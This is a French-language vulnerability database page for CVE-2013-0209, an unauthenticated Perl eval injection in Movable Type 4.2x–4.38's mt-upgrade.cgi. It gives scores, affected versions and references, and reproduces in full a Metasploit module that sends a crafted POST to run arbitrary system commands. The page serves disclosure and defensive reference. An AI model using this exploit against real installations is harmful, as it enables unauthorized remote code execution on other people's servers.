CVE-2013-0209 : Détail

CVE-2013-0209

Authorization problems
A07-Identif. and Authent. Fail
80.63%V4
Network
2013-01-23
01h00 +00:00
2024-09-16
23h35 +00:00
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Gestion des notifications

Descriptions du CVE

lib/MT/Upgrade.pm in mt-upgrade.cgi in Movable Type 4.2x and 4.3x through 4.38 does not require authentication for requests to database-migration functions, which allows remote attackers to conduct eval injection and SQL injection attacks via crafted parameters, as demonstrated by an eval injection attack against the core_drop_meta_for_table function, leading to execution of arbitrary Perl code.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-287 Improper Authentication
When an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 7.5 AV:N/AC:L/Au:N/C:P/I:P/A:P nvd@nist.gov

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Informations sur l'Exploit

Exploit Database EDB-ID : 24321

Date de publication : 2013-01-06 23h00 +00:00
Auteur : Metasploit
EDB Vérifié : Yes

## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit4 < Msf::Exploit::Remote include Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'Movable Type 4.2x, 4.3x Web Upgrade Remote Code Execution', 'Description' => %q{ This module can be used to execute a payload on MoveableType (MT) that exposes a CGI script, mt-upgrade.cgi (usually at /mt/mt-upgrade.cgi), that is used during installation and updating of the platform. The vulnerability arises due to the following properties: 1. This script may be invoked remotely without requiring authentication to any MT instance. 2. Through a crafted POST request, it is possible to invoke particular database migration functions (i.e functions that bring the existing database up-to-date with an updated codebase) by name and with particular parameters. 3. A particular migration function, core_drop_meta_for_table, allows a class parameter to be set which is used directly in a perl eval statement, allowing perl code injection. }, 'Author' => [ 'Kacper Nowak', 'Nick Blundell', 'Gary O\'Leary-Steele' ], 'References' => [ ['CVE', '2012-6315'], # superseded by CVE-2013-0209 (duplicate) ['CVE', '2013-0209'], ['URL', 'http://www.sec-1.com/blog/?p=402'], ['URL', 'http://www.movabletype.org/2013/01/movable_type_438_patch.html'] ], 'Arch' => ARCH_CMD, 'Payload' => { 'Compat' => { 'PayloadType' => 'cmd' } }, 'Platform' => [ 'win', 'unix' ], 'Targets' => [ ['Movable Type 4.2x, 4.3x', {}] ], 'Privileged' => false, 'DisclosureDate' => "Jan 07 2013", 'DefaultTarget' => 0)) register_options( [ OptString.new('TARGETURI', [true, 'The URI path of the Movable Type installation', '/mt']) ], self.class) end def check @peer = "#{rhost}:#{rport}" fingerprint = rand_text_alpha(5) print_status("#{@peer} - Sending check...") begin res = http_send_raw(fingerprint) rescue Rex::ConnectionError return Exploit::CheckCode::Unknown end if (res) if (res.code == 200 and res.body =~ /Can't locate object method \\"dbi_driver\\" via package \\"#{fingerprint}\\" at/) return Exploit::CheckCode::Vulnerable elsif (res.code != 200) return Exploit::CheckCode::Unknown else return Exploit::CheckCode::Safe end else return Exploit::CheckCode::Unknown end end def exploit @peer = "#{rhost}:#{rport}" print_status("#{@peer} - Sending payload...") http_send_cmd(payload.encoded) end def http_send_raw(cmd) path = normalize_uri(target_uri.path) + '/mt-upgrade.cgi' pay = cmd.gsub('\\', '\\\\').gsub('"', '\"') send_request_cgi( { 'uri' => path, 'method' => 'POST', 'vars_post' => { '__mode' => 'run_actions', 'installing' => '1', 'steps' => %{[["core_drop_meta_for_table","class","#{pay}"]]} } }) end def http_send_cmd(cmd) pay = 'v0;use MIME::Base64;system(decode_base64(q(' pay << Rex::Text.encode_base64(cmd) pay << ')));return 0' http_send_raw(pay) end end

Products Mentioned

Configuraton 0

Sixapart>>Movable_type >> Version 4.21

Sixapart>>Movable_type >> Version 4.22

Sixapart>>Movable_type >> Version 4.23

Sixapart>>Movable_type >> Version 4.24

Sixapart>>Movable_type >> Version 4.25

Sixapart>>Movable_type >> Version 4.26

Sixapart>>Movable_type >> Version 4.27

Sixapart>>Movable_type >> Version 4.28

Sixapart>>Movable_type >> Version 4.28

Sixapart>>Movable_type >> Version 4.28

Sixapart>>Movable_type >> Version 4.29

Sixapart>>Movable_type >> Version 4.29

Sixapart>>Movable_type >> Version 4.29

Sixapart>>Movable_type >> Version 4.31

Sixapart>>Movable_type >> Version 4.32

Sixapart>>Movable_type >> Version 4.33

Sixapart>>Movable_type >> Version 4.34

Sixapart>>Movable_type >> Version 4.35

Sixapart>>Movable_type >> Version 4.36

Sixapart>>Movable_type >> Version 4.37

Sixapart>>Movable_type >> Version 4.38

Sixapart>>Movable_type >> Version 4.261

Sixapart>>Movable_type >> Version 4.291

Sixapart>>Movable_type >> Version 4.291

Sixapart>>Movable_type >> Version 4.291

Sixapart>>Movable_type >> Version 4.292

Sixapart>>Movable_type >> Version 4.292

Sixapart>>Movable_type >> Version 4.292

Sixapart>>Movable_type >> Version 4.361

Configuraton 0

Sixapart>>Movable_type >> Version 4.36

Sixapart>>Movable_type >> Version 4.37

Sixapart>>Movable_type >> Version 4.38

Sixapart>>Movable_type >> Version 4.361

Références

http://www.sec-1.com/blog/?p=402
Tags : x_refsource_MISC
http://openwall.com/lists/oss-security/2013/01/22/3
Tags : mailing-list, x_refsource_MLIST